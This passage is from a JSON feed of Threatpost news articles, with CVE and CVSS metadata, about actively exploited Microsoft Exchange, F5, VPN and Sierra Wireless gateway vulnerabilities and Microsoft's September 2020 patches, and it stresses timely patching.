Mimikatz](<https://threatpost.com/wipro-attackers-under-radar/144276/>).\n\nThe initial access vector for these cyberattacks vary. CISA said it has observed threat actors utilize malicious links in spearphishing emails, as well as exploit public facing applications. In one case, CISA observed the threat actors scanning a federal government agency for vulnerable web servers, as well as scanning for known vulnerabilities in network appliances (CVE-2019-11510). CISA also observed threat actors scanning and performing reconnaissance of federal government internet-facing systems shortly after the disclosure of \u201csignificant CVEs.\u201d\n\nCISA said, maintaining a rigorous patching cycle continues to be the best defense against these attacks.\n\n\u201cIf critical vulnerabilities remain unpatched, cyber threat actors can carry out attacks without the need to develop custom malware and exploits or use previously unknown vulnerabilities to target a network,\u201d according to the advisory.\n\nTerence Jackson, CISO at Thycotic, echoed this recommendation, saying the advisory sheds light on the fact that organizations need to keep up with patch management. In fact, he said, according to a recent [Check Point report](<https://www.checkpoint.com/downloads/resources/cyber-attack-trends-report-mid-year-2020.pdf?mkt_tok=eyJpIjoiTldNM05UWTJOelEwTnpZeCIsInQiOiJTSVY0QTBcL0d1UnpKcXM1UzZRRnRRV1RBV1djcnArM3BWK0VrUlQyb2JFVkJka05EWFhGOFpSSVJOZGszcnlpVFNVNVBwSjZDRXNxZGdkTGRKQzJJem4yYWlBQXJERUdkNDNrZEJDWGxNVUZ3WWt5K25vc2trRnNPNFZaY3JzOE8ifQ%3D%3D>), 80 percent of observed ransomware attacks in the first half of 2020 used vulnerabilities reported and registered in 2017 and earlier \u2013 and more than 20 percent of the attacks used vulnerabilities that are at least seven years old.\n\n\u201cPatch management is one of the fundamentals of security, however, it is difficult and we are still receiving a failing grade. Patch management, enforcing MFA and least privilege are key to preventing cyber-attacks in both the public and private sectors,\u201d he told Threatpost.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-14T21:20:46", "type": "threatpost", "title": "Feds Warn Nation-State Hackers are Actively Exploiting Unpatched Microsoft Exchange, F5, VPN Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5135", "CVE-2020-5902"], "modified": "2020-09-14T21:20:46", "id": "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "href": "https://threatpost.com/hackers-gov-microsoft-exchange-f5-exploits/159226/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T19:26:48", "description": "Researchers\u2019 Microsoft Exchange server honeypots are being actively exploited via ProxyShell: The name of an attack disclosed at Black Hat last week that chains three vulnerabilities to enable unauthenticated attackers to perform remote code execution (RCE) and snag plaintext passwords.\n\nIn his Black Hat [presentation](<https://www.blackhat.com/us-21/briefings/schedule/#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-m>) last week, Devcore principal security researcher [Orange Tsai](<https://twitter.com/orange_8361>) said that a survey shows more than 400,000 Exchange servers on the internet that are exposed to the attack via port 443. On Monday, the SANS Internet Storm Center\u2019s Jan Kopriva [reported](<https://isc.sans.edu/forums/diary/ProxyShell+how+many+Exchange+servers+are+affected+and+where+are+they/27732/>) that he found more than 30,000 vulnerable Exchange servers via a Shodan scan and that any threat actor worthy of that title would find it a snap to pull off, given how much information is available.\n\nGoing by calculations tweeted by security researcher Kevin Beaumont, this means that, between ProxyLogon and ProxyShell, \u201cjust under 50 percent of internet-facing Exchange servers\u201d are currently vulnerable to exploitation, according to a Shodan search.\n\n> Breakdown of Exchange servers on Shodan vulnerable to ProxyShell or ProxyLogon, it's just under 50% of internet facing Exchange servers. [pic.twitter.com/3samyNHBpB](<https://t.co/3samyNHBpB>)\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 13, 2021](<https://twitter.com/GossiTheDog/status/1426207905779527682?ref_src=twsrc%5Etfw>)\n\nOn the plus side, Microsoft has already released patches for all of the vulnerabilities in question, and, cross your fingers, \u201cchances are that most organizations that take security at least somewhat seriously have already applied the patches,\u201d Kopriva wrote.\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nThe vulnerabilities affect Exchange Server 2013, 2016 and 2019.\n\nOn Thursday, Beaumont and NCC Group\u2019s vulnerability researcher Rich Warren disclosed that threat actors have exploited their Microsoft Exchange honeypots using the ProxyShell vulnerability.\n\n\u201cStarted to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities,\u201d Warren tweeted, along with a screen capture of the code for a c# aspx webshell dropped in the /aspnet_client/ directory.\n\n> Started to see in the wild exploit attempts against our honeypot infrastructure for the Exchange ProxyShell vulnerabilities. This one dropped a c# aspx webshell in the /aspnet_client/ directory: [pic.twitter.com/XbZfmQQNhY](<https://t.co/XbZfmQQNhY>)\n> \n> \u2014 Rich Warren (@buffaloverflow) [August 12, 2021](<https://twitter.com/buffaloverflow/status/1425831100157349890?ref_src=twsrc%5Etfw>)\n\nBeaumont [tweeted](<https://twitter.com/GossiTheDog/status/1425844380376735746>) that he was seeing the same and connected it to Tsai\u2019s talk: \u201cExchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from @orange_8361\u2019s initial talk.\u201d\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\n## Dangerous Skating on the New Attack Surface\n\nIn [a post](<https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/>) on Sunday, Tsai recounted the in-the-wild ProxyLogon proof of concept that Devco reported to MSRC in late February, explaining that it made the researchers \u201cas curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation.\n\n\u201cWith a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft,\u201d he continued. Mail server is both a highly valuable asset and a seemingly irresistible target for attackers, given that it holds businesses\u2019 confidential secrets and corporate data.\n\n\u201cIn other words, controlling a mail server means controlling the lifeline of a company,\u201d Tsai explained. \u201cAs the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.\u201d\n\nDuring his Black Hat presentation, Tsai explained that the new attack surface his team discovered is based on \u201ca significant change in Exchange Server 2013, where the fundamental protocol handler, Client Access Service (CAS), splits into frontend and backend\u201d \u2013 a change that incurred \u201cquite an amount of design\u201d and yielded eight vulnerabilities, consisting of server-side bugs, client-side bugs and crypto bugs.\n\nHe chained the bugs into three attack vectors: The now-infamous [ProxyLogon](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) that induced [patching frenzy](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) a few months back, the ProxyShell vector that\u2019s now under active attack, and another vector called ProxyOracle.\n\n\u201cThese attack vectors enable any unauthenticated attacker to uncover plaintext passwords and even execute arbitrary code on Microsoft Exchange Servers through port 443, which is exposed to the Internet by about 400,000 Exchange Servers,\u201d according to the presentation\u2019s introduction.\n\nThe three Exchange vulnerabilities, all of which are [patched](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>), that Tsai chained for the ProxyShell attack:\n\n * [CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>) \u2013 Pre-auth path confusion leads to ACL bypass\n * [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>) \u2013 Elevation of privilege on Exchange PowerShell backend\n * [CVE-2021-31207](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31207>) \u2013 Post-auth arbitrary file-write leads to RCE\n\nProxyShell earned the Devcore team a $200,000 bounty after they used the bugs to take over an Exchange server at the [Pwn2Own 2021](<https://twitter.com/thezdi/status/1379467992862449664>) contest in April.\n\nDuring his Black Hat talk, Tsai said that he discovered the Exchange vulnerabilities when targeting the Microsoft Exchange CAS attack surface. As Tsai explained, CAS is \u201ca fundamental component\u201d of Exchange.\n\nHe referred to [Microsoft\u2019s documentation](<https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2019>), which states:\n\n\u201cMailbox servers contain the Client Access services that accept client connections for all protocols. These frontend services are responsible for routing or proxying connections to the corresponding backend services on a Mailbox server.\u201d\n\n\u201cFrom the narrative you could realize the importance of CAS, and you could imagine how critical it is when bugs are found in such infrastructure. CAS was where we focused on, and where the attack surface appeared,\u201d Tsai wrote. \u201cCAS is the fundamental component in charge of accepting all the connections from the client side, no matter if it\u2019s HTTP, POP3, IMAP or SMTP, and proxies the connections to the corresponding backend service.\u201d\n\n## ProxyShell Just the \u2018Tip of the Iceberg\u2019\n\nOut of all the bugs he found in the new attack surface, Tsai dubbed [CVE-2020-0688](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) (an RCE vulnerability that involved a hard-coded cryptographic key in Exchange) the \u201cmost surprising.\u201d\n\n\u201cWith this hard-coded key, an attacker with low privilege can take over the whole Exchange Server,\u201d he wrote. \u201cAnd as you can see, even in 2020, a silly, hard-coded cryptographic key could still be found in an essential software like Exchange. This indicated that Exchange is lacking security reviews, which also inspired me to dig more into the Exchange security.\u201d\n\nBut the \u201cmost interesting\u201d flaw is [CVE-2018-8581](<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>), he said, which was disclosed by someone who cooperated with ZDI. Though it\u2019s a \u201csimple\u201d server-side request forgery (SSRF), it could be combined with NTLM Relay, enabling the attacker to \u201cturn a boring SSRF into [something really fancy,\u201d Tsai said.](<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>)\n\nFor example, it could \u201cdirectly control the whole Domain Controller through a low-privilege account,\u201d Tsai said.\n\n## Autodiscover Figures into ProxyShell\n\nAs [BleepingComputer](<https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-are-getting-hacked-via-proxyshell-exploits/>) reported, during his presentation, Tsai explained that one of the components of the ProxyShell attack chain targets the Microsoft Exchange [Autodiscover](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>) service: a service that eases configuration and deployment by providing clients access to Exchange features with minimal user input.\n\nTsai\u2019s talk evidently triggered a wave of scanning for the vulnerabilities by attackers.\n\nAfter watching the presentation, other security researchers replicated the ProxyShell exploit. The day after Tsai\u2019s presentation, last Friday, PeterJson and Nguyen Jang [published](<https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1>) more detailed technical information about their successful reproduction of the exploit.\n\nSoon after, Beaumont [tweeted](<https://twitter.com/GossiTheDog/status/1422178411385065476?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1422178411385065476%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.bleepingcomputer.com%2Fnews%2Fmicrosoft%2Fmicrosoft-exchange-servers-scanned-for-proxyshell-vulnerability-patch-now%2F>) about a threat actor who was probing his Exchange honeypot using the [Autodiscover service](<https://docs.microsoft.com/en-us/exchange/architecture/client-access/autodiscover?view=exchserver-2019>). As of yesterday, Aug. 12, those servers were being targeted using autodiscover.json, he tweeted.\n\n> Exchange ProxyShell exploitation wave has started, looks like some degree of spraying. Random shell names for access later. Uses foo name from [@orange_8361](<https://twitter.com/orange_8361?ref_src=twsrc%5Etfw>)'s initial talk.\n> \n> \u2014 Kevin Beaumont (@GossiTheDog) [August 12, 2021](<https://twitter.com/GossiTheDog/status/1425844380376735746?ref_src=twsrc%5Etfw>)\n\nAs of Thursday, ProxyShell was dropping a 265K webshell \u2013 the minimum file size that can be created via ProxyShell due to its use of the Mailbox Export function of Exchange Powershell to create PST files \u2013 to the \u2018c:\\inetpub\\wwwroot\\aspnet_client\\\u2019 folder. Warren shared a sample with BleepingComputer that showed that the webshells consist of \u201ca simple authentication-protected script that the threat actors can use to upload files to the compromised Microsoft Exchange server.\u201d\n\nBad Packets told the outlet that as of Thursday, was seeing threat actors scanning for vulnerable ProxyShell devices from IP addresses in the U.S., Iran and the Netherlands, using the domains @abc.com and @1337.com, from the known addresses 3.15.221.32 and 194.147.142.0/24.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-13T18:56:27", "type": "threatpost", "title": "Exchange Servers Under Active Attack via ProxyShell Bugs", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8581", "CVE-2020-0688", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-13T18:56:27", "id": "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "href": "https://threatpost.com/exchange-servers-attack-proxyshell/168661/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-17T07:28:30", "description": "Criminal small talk in underground forums offer critical clues about which known Common Vulnerabilities and Exposures (CVEs) threat actors are most focused on. This, in turn, offers defenders clues on what to watch out for.\n\nAn analysis of such chatter, by Cognyte, examined 15 [cybercrime forums](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) between Jan. 2020 and March 2021. In its report, researchers highlight what CVEs are the most frequently mentioned and try to determine where attackers might strike next.\n\n\u201cOur findings revealed that there is no 100 percent correlation between the two parameters, since the top five CVEs that received the highest number of posts are not exactly the ones that were mentioned on the highest number of Dark Web forums examined,\u201d the report said. \u201cHowever, it is still enough to understand which CVEs were popular among threat actors on the Dark Web during the time examined.\u201d[](<https://threatpost.com/newsletter-sign/>)The researchers found [ZeroLogon](<https://threatpost.com/zerologon-attacks-microsoft-dcs-snowball/159656/>), [SMBGhost](<https://threatpost.com/smbghost-rce-exploit-corporate-networks/156391/>) and [BlueKeep](<https://threatpost.com/bluekeep-attacks-have-arrived-are-initially-underwhelming/149829/>) were among the most buzzed about vulnerabilities among attackers between Jan. 2020 and March 2021.\n\n## **Six CVEs Popular with Criminals**\n\n[CVE-2020-1472](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472>) (aka ZeroLogon)\n\n[CVE-2020-0796](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-0796>) (aka SMBGhost)\n\n[CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)\n\n[CVE-2019-0708](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2019-0708>) (aka BlueKeep)\n\n[CVE-2017-11882](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-11882>)\n\n[CVE-2017-0199](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-0199>)\n\n\u201cMost of the CVEs in this list were abused by nation-state groups and cybercriminals, such as ransomware gangs, during worldwide campaigns against different sectors,\u201d the report said.\n\nNotably, all the CVEs threat actors are still focused on are old, meaning that basic patching and mitigation could have stopped many attacks before they even got started.\n\nThe report added, the 9-year-old [CVE-2012-0158](<https://nvd.nist.gov/vuln/detail/CVE-2012-0158>) was exploited by threat actors during the COVID-19 pandemic in 2020, which, \u201cindicates that organizations are not patching their systems and are not maintaining a resilient security posture.\u201d\n\nMicrosoft has the dubious distinction of being behind five of the six most popular vulns on the Dark Web, Cognyte found. Microsoft has also had a tough time getting users to patch them.\n\nZeroLogon is a prime example. The [flaw in Microsoft\u2019s software](<https://threatpost.com/microsoft-implements-windows-zerologon-flaw-enforcement-mode/163104/>) allows threat actors to access domain controllers and breach all Active Directory identity services. Patching ZeroLogon was so slow, Microsoft announced in January it would start blocking Active Directory domain access to unpatched systems with an \u201cenforcement mode.\u201d\n\nIn March 2020, Microsoft patched the number two vulnerability on the list, CVE-2020-0796, but as of October, 100,000 [Windows systems were still vulnerable](<https://threatpost.com/microsofts-smbghost-flaw-108k-windows-systems/160682/>).\n\nThe analysts explained varying CVEs were more talked about depending on the forum language. The CVE favored by Russian-language forums was CVE-2019-19781. Chinese forums were buzzing most about CVE-2020-0796. There was a tie between CVE-2020-0688 and CVE-2019-19781 in English-speaking threat actor circles. And Turkish forums were focused on CVE-2019-6340.\n\nThe researchers add, for context, that about half of the monitored forums were Russian-speaking and that Spanish forums aren\u2019t mentioned because there wasn\u2019t a clear frontrunning CVE discussed.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T21:07:15", "type": "threatpost", "title": "Top CVEs Trending with Cybercriminals", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2012-0158", "CVE-2017-0199", "CVE-2017-11882", "CVE-2019-0708", "CVE-2019-19781", "CVE-2019-6340", "CVE-2020-0688", "CVE-2020-0796", "CVE-2020-1472"], "modified": "2021-07-16T21:07:15", "id": "THREATPOST:AD8A075328874910E8DCBC149A6CA284", "href": "https://threatpost.com/top-cves-trending-with-cybercriminals/167889/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:20:11", "description": "Microsoft has released patches for 129 security bugs in its September Patch Tuesday update. These include 23 critical flaws, 105 that are important in severity and one moderate bug. Fortunately, none are publicly known or under active exploitation, Microsoft said.\n\nThe most severe issue in the bunch is [CVE-2020-16875](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16875>), according to researchers. This is a memory-corruption problem in Microsoft Exchange that allows remote code-execution (RCE) just by sending an email to a target. Running arbitrary code could grant attackers the access they need to create new accounts, access, modify or remove data, and install programs.\n\n[](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\n\u201cThis patch corrects a vulnerability that allows an attacker to execute code at SYSTEM by sending a specially crafted email to an affected Exchange Server,\u201d wrote Dustin Childs, researcher at Trend Micro\u2019s Zero-Day Initiative (ZDI), in [an analysis](<https://www.zerodayinitiative.com/blog/2020/9/8/the-september-2020-security-update-review>) on Tuesday. \u201cThat is about the worst-case scenario for Exchange servers. We have seen the previously patched Exchange bug CVE-2020-0688 used in the wild, and that requires authentication. We\u2019ll likely see this one in the wild soon. This should be your top priority.\u201d\n\nJustin Knapp, product marketing manager at Automox, added that while this vulnerability only affects Exchange Server versions 2016 and 2019, \u201cthe broad use of Microsoft Exchange across business users and a high CVSS score of 9.1 indicates that this patch should be prioritized high on the list.\u201d\n\nAnother critical RCE vulnerability that should be prioritized for patching is [CVE-2020-1210](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1210>), which exists in SharePoint due to a failure to check an application package\u2019s source markup. It rates 9.9 out of 10 on the CVSS severity scale.\n\n\u201cTo exploit this flaw, an attacker would need to be able to upload a SharePoint application package to a vulnerable SharePoint site,\u201d Satnam Narang, staff research engineer at Tenable, said via email. \u201cThis vulnerability is reminiscent of a similar SharePoint remote code-execution flaw, [CVE-2019-0604](<https://threatpost.com/un-hack-microsoft-sharepoint-flaw/152378/#:~:text=Hackers%20breached%20the%20United%20Nations,SharePoint%20vulnerability%2C%20according%20to%20reports.&text=This%20remote%20code%2Dexecution%20vulnerability,did%20not%20update%20its%20systems.>), that has been exploited in the wild by threat actors since at least April 2019.\u201d\n\nThere are a total of seven RCE bugs being fixed in SharePoint. Only one, CVE-2020-1460, requires authentication.\n\nKnapp flagged another critical RCE vulnerability (rated 8.4 on the CvSS scale) in the Windows Graphic Device Interface ([CVE-2020-1285](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1285>)). It arises because of the way the GDI handles objects in memory, providing both web-based and file-sharing attack scenarios that could introduce multiple vectors for an attacker to gain control of a system, he said.\n\n\u201cIn the web-based attack scenario, an attacker would need to craft a website designed to exploit the vulnerability and then convince users to view the website,\u201d Knapp noted. \u201cSince there\u2019s no way to force users to view the attacker-controlled content, the attacker would need to convince users to take action, typically by getting them to open an email attachment or click a link. In the file-sharing scenario, the attacker would need to convince users to open a specially crafted file designed to exploit the vulnerability. Given the extensive list of Windows and Windows Server versions impacted and the lack of a workaround or mitigation, this is a vulnerability that should be patched immediately.\u201d\n\nSeptember\u2019s slew of patches also features several other RCE bugs, including one in the Microsoft Windows Codecs Library ([CVE-2020-1129](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1129>), with an 8.8 CvSS rating), which is used by multiple applications and can therefore affect a wide range of programs. An attacker could execute code on a victim machine by convincing someone to view a weaponized video clip.\n\n\u201c[This] could allow code execution if an affected system views a specially crafted image,\u201d Childs explained. \u201cThe specific flaw exists within the parsing of HEVC streams. A crafted HEVC stream in a video file can trigger an overflow of a fixed-length stack-based buffer.\u201d\n\nAnother critical RCE problem exists in the Microsoft Component Object Model (COM) for Windows ([CVE-2020-0922](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0922>)), which is a platform-independent system for creating binary software components that can interact with each other. Like the previous bug, there are likely multiple applications that could be impacted by the flaw if they use COM. It rates 8.8 on the CvSS scale.\n\n\u201cThis patch corrects a vulnerability that would allow an attacker to execute code on an affected system if they can convince a user to open a specially crafted file or lure the target to a website hosting malicious JavaScript,\u201d Childs explained.\n\nMeanwhile, [CVE-2020-16874](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16874>) is a critical RCE vulnerability within Visual Studio, rating 7.8. An attacker could successfully exploit this vulnerability by convincing a user to open a specially crafted file using an affected version of the software.\n\n\u201cIf the compromised user is logged in with admin rights, the attacker could take control of the affected system and gain the ability to install programs; view, change, or delete data; or create new accounts with full user rights,\u201d Automox\u2019 Knapp said. \u201cThe vulnerability exists in multiple versions of Visual Studio dating back to 2012.\u201d\n\nAmong the other bugs of note, Childs also highlighted [CVE-2020-0951](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0951>), an important-rated security feature bypass bug in Windows Defender.\n\n\u201cAn attacker with administrative privileges on a local machine could connect to a PowerShell session and send commands to execute arbitrary code,\u201d Childs said. \u201cThis behavior should be blocked by WDAC, which does make this an interesting bypass. However, what\u2019s really interesting is that this is getting patched at all. Vulnerabilities that require administrative access to exploit typically do not get patches. I\u2019m curious about what makes this one different.\u201d\n\nSeptember\u2019s Patch Tuesday release continues a trend of high-volume security updates. The patches are for a wide range of products, including Microsoft Windows, Edge (both EdgeHTML-based and Chromium-based), ChakraCore, Internet Explorer (IE), SQL Server, Office and Office Services and Web Apps, Microsoft Dynamics, Visual Studio, Exchange Server, ASP.NET, OneDrive and Azure DevOps.\n\n\u201cThat brings us to seven straight months of 110+ CVEs,\u201d said Childs. \u201cIt also brings the yearly total close to 1,000. It certainly seems like this volume is the new normal for Microsoft patches.\u201d\n\nOrganizations are struggling to keep up, Knapp noted.\n\n\u201cAs many organizations continue to struggle to support the ongoing distribution of remote workers, Microsoft continues to pile on the updates,\u201d he said. \u201cFinding an efficient method for rolling out these patches has become even more imperative as companies begin to abandon the idea of a short-term fix and shift operations to embrace remote work as part of a lasting, long-term progression of how organizations operate moving forward\u2026.We\u2019re beginning to realize the negative outcomes of the lenient security measures put in place to quickly adapt to a decentralized workforce and it\u2019s become more important than ever to establish patching policies that can securely support remote endpoints for the foreseeable future.\u201d\n\nMeanwhile, [Adobe fixed](<https://threatpost.com/critical-adobe-flaws-attackers-javascript-browsers/159026/>) five critical cross-site scripting (XSS) flaws in Experience Manager as part of its regularly scheduled patches on Tuesday. It also addressed flaws in Adobe Framemaker, its document-processor designed for writing and editing large or complex documents; and InDesign, its desktop publishing and typesetting software application.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-08T20:40:46", "type": "threatpost", "title": "Microsoft's Patch Tuesday Packed with Critical RCE Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-0604", "CVE-2020-0688", "CVE-2020-0922", "CVE-2020-0951", "CVE-2020-1129", "CVE-2020-1210", "CVE-2020-1285", "CVE-2020-1460", "CVE-2020-16874", "CVE-2020-16875", "CVE-2020-5135"], "modified": "2020-09-08T20:40:46", "id": "THREATPOST:A298611BE0D737083D0CFFE084BEC006", "href": "https://threatpost.com/microsofts-patch-tuesday-critical-rce-bugs/159044/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-04-08T11:52:13", "description": "A 5G wireless gateway tailored for industrial internet of things (IoT), retail point-of-sale and enterprise redundancy applications is riddled with vulnerabilities, include two critical bugs that allow remote code-execution (RCE) and arbitrary command-injection.\n\nThe Sierra Wireless AirLink ES450 LTE gateway (version 4.9.3) has 11 different bugs, which could be exploited for RCE, uncovering user credentials (including the administrator\u2019s password) and other scenarios, according to Cisco Talos, which found the issues. Sierra Wireless has issued an update and administrators are encouraged to apply it.\n\n\u201cThe majority of these vulnerabilities exist in ACEManager, the web server included with the ES450,\u201d Cisco explained in [an advisory](<https://blog.talosintelligence.com/2019/04/vulnerability-sierra-airlink.html>) on Thursday. \u201cACEManager is responsible for the majority of interactions on the device, including device reconfiguration, user authentication and certificate management.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe most serious of the flaws is a critical RCE vulnerability ([CVE-2018-4063](<https://www.talosintelligence.com/reports/TALOS-2018-0748>)), CVSS score of 9.9, in the upload.cgi function of the ACEManager, which allows an attacker to use a specially crafted HTTP request to upload executable code, to be routed to the web server.\n\n\u201cWhen uploading template files, you can specify the name of the file that you are uploading,\u201d according to Cisco. \u201cThere are no restrictions in place that protect the files that are currently on the device, used for normal operation. If a file is uploaded with the same name of the file that already exists in the directory, then we inherit the permissions of that file.\u201d\n\nFurther, since ACEManager is running as root, any executables that are run by those files will be running also as root. \u201cBy uploading a small wrapper, we can upload arbitrary code to the device and run by simply navigating to the web page through the browser,\u201d Cisco noted.\n\nAlso in the upload.cgi function, an unverified password change vulnerability ([CVE-2018-4064](<https://www.talosintelligence.com/reports/TALOS-2018-0749>)) opens the door to an unverified device configuration change, resulting in an unverified change of the `user` password on the device.\n\nIn both cases, an attacker exploiting the upload.cgi bugs can make an authenticated HTTP request to trigger the vulnerability.\n\nThere\u2019s also a critical command-injection 